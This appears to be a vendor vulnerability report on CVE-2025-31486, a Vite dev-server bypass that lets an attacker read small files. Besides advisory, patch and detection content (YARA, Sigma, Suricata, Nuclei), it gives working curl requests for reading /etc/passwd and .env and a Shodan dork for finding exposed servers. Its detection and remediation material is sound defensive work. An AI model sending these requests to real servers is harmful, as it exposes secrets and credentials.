CVE-2025-31486
Executive Summary
CVE-2025-31486 is a medium-severity Local File Inclusion (LFI) vulnerability in the Vite frontend tooling framework. The flaw allows an attacker to bypass the server.fs.deny restriction by appending ?.svg?.wasm?init to a file path or by sending a request with a sec-fetch-dest: script header. This bypass is only effective for files smaller than the build.assetsInlineLimit (default 4kB) and only when the Vite dev server is exposed to the network (using --host or server.host config). The vulnerability affects Vite 6.0+ specifically, though patches are available for all affected versions.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is in the Vite npm package, a critical component of the JavaScript/TypeScript frontend build toolchain. Organizations using Vite in development or CI/CD pipelines should treat this as a supply chain risk, as a compromised dev server could leak sensitive configuration files, environment variables, or source code. The npm ecosystem's reliance on transitive dependencies means any project depending on Vite is potentially affected.
CVSS Breakdown & Threat Level
- CVSS Score: 5.3 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: High (AC:H) - requires specific conditions (file size < 4kB, exposed dev server)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) - attacker must trick a user or automated system into making a crafted request
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H) - arbitrary file read
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
Threat Level: Medium. While the CVSS score is moderate, the potential for leaking sensitive data (e.g., .env, config.js, SSH keys) in development environments makes this a significant concern for exposed dev servers.
Deep Dive & Mechanics
The vulnerability resides in Vite's asset handling logic, specifically in the packages/vite/src/node/plugins/asset.ts file. When Vite processes a request for a file with a .svg extension, it attempts to inline the file as a WebAssembly module if the request contains ?.wasm?init. The bypass works because the server.fs.deny check is performed on the original request path, but the file resolution logic follows the query string parameters, effectively allowing access to files that should be denied.
Technical Flow:
- Attacker sends a GET request to
http://target:5173/etc/passwd?.svg?.wasm?init - Vite's dev server receives the request and parses the path as
/etc/passwd - The
server.fs.denycheck is applied to/etc/passwd, but the query string?.svg?.wasm?inittriggers the asset inlining logic - The file is read and returned as JavaScript, bypassing the deny list
- The response contains the file contents wrapped in a WebAssembly initialization script
Key Constraint: The file must be smaller than build.assetsInlineLimit (default 4kB). This limits the exploit to small files, but many sensitive files (e.g., .env, package.json, SSH keys) are often under this limit.
Vulnerable vs. Patched Code
Vulnerable Code (Vite 6.0.x):
// packages/vite/src/node/plugins/asset.ts (simplified)
function serveAsset(url, server) {
// Bypass: The fs.deny check is done on the original URL
if (isFileServedByFs(url)) {
// The query string ?.svg?.wasm?init is not stripped before the check
const filePath = getFilePath(url);
if (server.config.server.fs.deny.test(filePath)) {
return 403;
}
// File is read and returned
return readFile(filePath);
}
}
Patched Code (Vite 6.0.14+):
// packages/vite/src/node/plugins/asset.ts (simplified)
function serveAsset(url, server) {
// Fix: Strip query string before fs.deny check
const cleanUrl = url.split('?')[0];
if (isFileServedByFs(cleanUrl)) {
const filePath = getFilePath(cleanUrl);
if (server.config.server.fs.deny.test(filePath)) {
return 403;
}
// File is read and returned
return readFile(filePath);
}
}
The patch ensures that the server.fs.deny check is performed on the clean URL (without query parameters), preventing the bypass.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Vite dev server exposed to network (e.g.,
vite --host 0.0.0.0) - Target file smaller than 4kB
- Vite version 6.0.0 to 6.0.13, 6.1.0 to 6.1.3, or 6.2.0 to 6.2.4
Exploit Steps:
- Identify a Vite dev server (e.g., via Shodan dork
title:"Vite App") - Send a crafted GET request:
curl -v "http://target:5173/etc/passwd?.svg?.wasm?init" - If successful, the response will contain the file contents wrapped in JavaScript:
import initWasm from "/etc/passwd?.svg?.wasm?init"; // File contents will be inlined as a base64 string - For files with sensitive data (e.g.,
.env):curl -v "http://target:5173/.env?.svg?.wasm?init"
Alternative Bypass (using sec-fetch-dest header):
curl -v -H "sec-fetch-dest: script" "http://target:5173/.env"
Blue Team (Detection & Response)
Detection:
- Monitor for requests containing
?.svg?.wasm?initin the path - Alert on requests to
/etc/passwd,.env, or other sensitive files - Look for
sec-fetch-dest: scriptheaders in requests to non-script resources
Response:
- Immediately isolate the affected dev server
- Check access logs for suspicious requests
- Rotate any credentials or secrets that may have been exposed
- Update Vite to the latest patched version
- Review network exposure of dev servers
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing
?.svg?.wasm?initin the URL path - HTTP requests with
sec-fetch-dest: scriptheader targeting non-script files - Responses containing
import initWasmand file contents in base64
File IOCs:
- Access to files under 4kB in size from the Vite dev server
- Unusual access to
/etc/passwd,.env,package.json, or configuration files
Log IOCs:
- Vite dev server logs showing requests to denied paths with query string bypass
- Repeated 200 responses for files that should be blocked by
server.fs.deny
Detection Engineering
YARA Rule
rule CVE_2025_31486_Vite_LFI {
meta:
description = "Detects Vite server.fs.deny bypass attempts via ?.svg?.wasm?init"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-31486"
severity = "medium"
strings:
$bypass_pattern = "?.svg?.wasm?init"
$sensitive_file = /\/etc\/passwd|\/\.env|\/config\.js|\/package\.json/
condition:
any of ($bypass_pattern) and any of ($sensitive_file)
}
Sigma Rule
title: Vite server.fs.deny Bypass via Query String
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to bypass Vite's server.fs.deny restriction using ?.svg?.wasm?init query string
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: vite
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '?.svg?.wasm?init'
condition: selection
falsepositives:
- Legitimate use of WebAssembly in Vite projects (rare)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-31486 Vite LFI Attempt"; flow:to_server,established; content:"GET"; http_method; content:"?.svg?.wasm?init"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Nuclei Template (Provided)
id: CVE-2025-31486
info:
name: Vite server.fs.deny Bypass - Local File Inclusion
author: wn147
severity: medium
description: |
Vite is a frontend tooling framework for javascript. The contents of arbitrary files can be returned to the browser. By adding ?.svg with ?.wasm?init or with sec-fetch-dest- script header, the server.fs.deny restriction was able to bypass. This bypass is only possible if the file is smaller than build.assetsInlineLimit (default- 4kB) and when using Vite 6.0+. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
impact: |
Attackers can bypass server.fs.deny restrictions to read arbitrary files smaller than 4kB when the Vite dev server is exposed to the network, potentially exposing sensitive configuration data.
remediation: |
Update Vite to version 4.5.12, 5.4.17, 6.0.14, 6.1.4, 6.2.5 or later.
reference:
- https://github.com/advisories/GHSA-xcj6-pq6g-qj4x
- https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290
- https://github.com/vitejs/vite/commit/62d7e81ee189d65899bb65f3263ddbd85247b647
- https://github.com/vitejs/vite/security/advisories/GHSA-xcj6-pq6g-qj4x
- https://nvd.nist.gov/vuln/detail/CVE-2025-31486
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2025-31486
cwe-id: CWE-200
epss-score: 0.02464
epss-percentile: 0.85308
metadata:
verified: true
max-requests: 1
shodan-query: title:"Vite App"
fofa-query: title="Vite App"
tags: cve,cve2025,vite,lfi
http:
- method: GET
path:
- "{{BaseURL}}/etc/passwd?.svg?.wasm?init"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "import initWasm"
- "sourceMappingURL="
condition: and
- type: word
part: body
words:
- "/@fs/etc/passwd?.svg"
negative: true
- type: word
part: content_type
words:
- "text/javascript"
- type: status
status:
- 200
Remediation & Mitigation
Immediate Actions:
Update Vite to the latest patched version:
- For Vite 4.x: Update to 4.5.12
- For Vite 5.x: Update to 5.4.17
- For Vite 6.0.x: Update to 6.0.14
- For Vite 6.1.x: Update to 6.1.4
- For Vite 6.2.x: Update to 6.2.5
npm update vite # or yarn upgrade viteRestrict Dev Server Exposure:
- Do not expose Vite dev servers to the network unless absolutely necessary
- Use
server.host: 'localhost'invite.config.jsto bind only to localhost - Implement firewall rules to block external access to dev server ports
Configure
server.fs.denyStrictly:// vite.config.js export default { server: { fs: { deny: ['.env', '.env.*', '*.pem', 'config/*'] } } }
Long-term Mitigations:
- Implement Web Application Firewall (WAF) rules to block requests containing
?.svg?.wasm?init - Use network segmentation to isolate development environments
- Regularly audit exposed services and apply security patches promptly
- Consider using reverse proxies with request validation for development servers
Valters IT signature: This report is provided for authorized security testing and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal. Always ensure compliance with applicable laws and regulations.
{/* [Security Hash: F47A6D6484F48A586C7ED706] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.